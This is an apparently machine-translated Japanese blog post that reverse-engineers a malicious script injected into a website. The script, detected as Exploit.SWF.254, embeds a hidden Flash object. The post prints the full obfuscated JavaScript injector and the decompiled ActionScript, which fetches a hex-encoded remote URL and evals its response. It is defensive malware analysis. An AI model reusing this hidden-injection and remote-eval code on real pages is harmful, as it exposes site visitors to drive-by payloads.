サイト上のウイルスまたはリバースエンジニアリングExploit.SWF.254

すべては、管理者が作業中のラップトップ(Win XP)に新しいウイルス対策ソフトウェアをインストールしたという事実から始まりました。 ある晴れた日、自分のサイトの1つを訪れたときに、この不快な写真を見つけました。







更新: Dr.Web Anti-virus、スクリプトはまだこのサイトにあります



もちろん、最初にやりたいことはそれを削除することでした。これは、FTPを実行してrss.jsファイルをネイルするだけでした。 しかし、ホスティングとドメインが私のものではなく、明らかに管理者が最近ユーザー名とパスワードを変更したため、FTP経由でサイトにアクセスできないことが突然判明しました。 所有者はどうにか通り抜けることができませんでしたが、ウイルスが何をしていたかを正確に理解することは非常に興味がありました...







だから、私は仕事中のラップトップでこれを行うことを敢えてしませんでした、自宅でこれを行うことにしました。私の自宅のコンピューターでは 、ウイルス対策の叫び声がなく、仕事に干渉しなかったことを恐れる必要があるからです。 まず、rss.jsの機能を調べました。



function addNewObject () { try { var ua = navigator.userAgent.toLowerCase(); if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) { var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44); var div = document.createElement('div'); div.innerHTML = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">'; div.innerHTML += '<param name="allowScriptAccess" value="always" \/>'; div.innerHTML += '<param name="movie" value="'+ counter +'" \/>'; div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>'; div.innerHTML += '<\/object>'; div.style.position = 'absolute'; div.style.left = '-100px'; div.style.top = '-100px'; document.body.insertBefore(div, document.body.children[0]); } } catch (e) { if (document.body == undefined || document.body.children[0] == undefined) { setTimeout('addNewObject()', 50); } } } addNewObject();
      
      







コードから、スクリプトがswfを作成し、ページコードに埋め込むことは明らかです。swfの取得場所を理解するために、この奇妙なコードの難読化を解除します。



 var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);
      
      







これを行うには、この単純なファイルを作成して実行します



 <!DOCTYPE html> <html> <head> <title></title> </head> <body> <script type="text/javascript"> var jtFRvRDNg = ["subs\x74\x72", "F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61", "\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp", "\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"]; var counter = jtFRvRDNg[35 - 32][jtFRvRDNg[0]](-60 + 95 - 29, 70 + 22 - 91 + 13) + jtFRvRDNg[2][jtFRvRDNg[0]](94 - 75 - 16, 36 + 83 - 111) + jtFRvRDNg[17 - 16][jtFRvRDNg[0]](66 + 2 + 81 - 135, 51 - 44); alert(counter); </script> </body> </html>
      
      







悪意のあるswfがロードされている場所をすぐに確認







更新: SWFリンク



このフラッシュムービーの動作を確認するために、最も簡単なものが残っています。小さなGoogleがいくつかのswfデコンパイラを検出しましたが、ファイルが逆コンパイルから保護されていることがわかりました。







更新:これはswfが逆コンパイルから「保護」された場所



そして、肉眼では悪意のあるActionScriptの原因を理解することはできません。



長く理解できないコード
 // 0 // Action tag #0 for (;;) { if (1847114876 == 1847115088) { false; 1238734783 & -1238734784; function decrypt(hex) { var __reg5; var __local0; if (205673138 ^ 205673138) { __local0 = __reg5 = "A"; } else { __reg5 = "A"; var __reg1; __local0 = __reg1 = 0; } __local0; for (;;) { 408838581 ^ 408838581; 2136550932 & -2136550933; if (__reg1 >= hex.B) { break; } if (1890669217 ^ 1890669217) { "C"; } else { var __reg3; if (!(1502222836 ^ 1502222836)) { __reg3 = hex.C(__reg1, 2); } } 1234629013 ^ 1234629013; 127070979 & -127070980; var __reg2 = int("D" + __reg3); 1130412752 ^ 1130412752; __reg2 = __reg2 ^ 5; 1618839222 & -1618839223; if (!(1876906722 ^ 1876906722)) { __reg5 = __reg5 + chr(__reg2); } var __local1; var __local2; if (1459356484 ^ 1459356484) { __local1 = __reg1; __local2 = 2; } else { __reg1 = __reg1 + 2; __local1 = 1035411512; __local2 = -1035411513; } __local1 & __local2; } return __reg5; } function checkFileLoaded() { }; 1791047020 & -1791047021; var = ""; 1234090841 ^ 1234090841; 353477196 ^ 353477196; if (!(1023518590 ^ 1023518590)) { ("E", ()); } 1053853491 & -1053853492; 657257249 & -657257250; var = (, 200); 503511606 ^ 503511606; 694364267 ^ 694364267; 2090915988 & -2090915989; loadVariables(G(), E); if (736039747 != 736040114) { continue; } } }
      
      









少しグーグルで、組み込みの難読化解除機能を備えたswfデコンパイラーを見つけました。このコードはすでに読みやすくなっています。



 function decrypt(hex) { var _loc5_ = ""; var _loc1_ = 0; while(_loc1_ < hex.length) { var _loc3_ = hex.substr(_loc1_,2); var _loc2_ = int("0x" + _loc3_); _loc2_ = _loc2_ ^ 5; _loc5_ = _loc5_ + chr(_loc2_); _loc1_ = _loc1_ + 2; } return _loc5_; } function checkFileLoaded() { if(container.data != undefined) { var _loc1_ = container.data; _loc1_ = decrypt(_loc1_); flash.external.ExternalInterface.call("eval",_loc1_); clearInterval(loadingInterval); } } var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030"; this.createEmptyMovieClip("container",this.getNextHighestDepth()); var loadingInterval = setInterval(checkFileLoaded,200); loadVariables(decrypt(url),container);
      
      







更新: 難読化解除機能付きSWFデコンパイラー



これはすでに興味深いものです。pingが送られるURLがありますが、「保護された」swfでもURLがエンコードされているので、彼らは一生懸命努力しました。 フラッシュエディタを手元に持っていませんでした。アクションスクリプトオンラインコンパイラを見つけ、明るいURLをデコードして表示するコードをコピーしました。



 class Test { function decrypt(hex) { var _loc5_ = ""; var _loc1_ = 0; while(_loc1_ < hex.length) { var _loc3_ = hex.substr(_loc1_,2); var _loc2_ = int("0x" + _loc3_); _loc2_ = _loc2_ ^ 5; _loc5_ = _loc5_ + chr(_loc2_); _loc1_ = _loc1_ + 2; } return _loc5_; } public function Test(mc) { var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030"; trace(decrypt(url)); } public static function main(mc:MovieClip) { var test = new Test(mc); } }
      
      







更新:ブラウザでActionScriptを直接実行できます



更新:結果として、URLを取得します。
  http://xatyta.pp.ua/counter/hit/client_de5df061c99066d82cfc437f2b099455 




このエクスプロイトの意味は私には謎のままで、誰かがサイト訪問に関する統計を収集するだけですか? そして、Habrは何を考えているのか、私はコメントを待っている、誰かが似たようなものに出くわしたかもしれない?



PSは意図的にウイルス対策、逆コンパイラ、オンラインサービス、その他のリンクへのリンクを提供しませんでした



更新:アンケートを追加しました



更新2:追加されたリンク



All Articles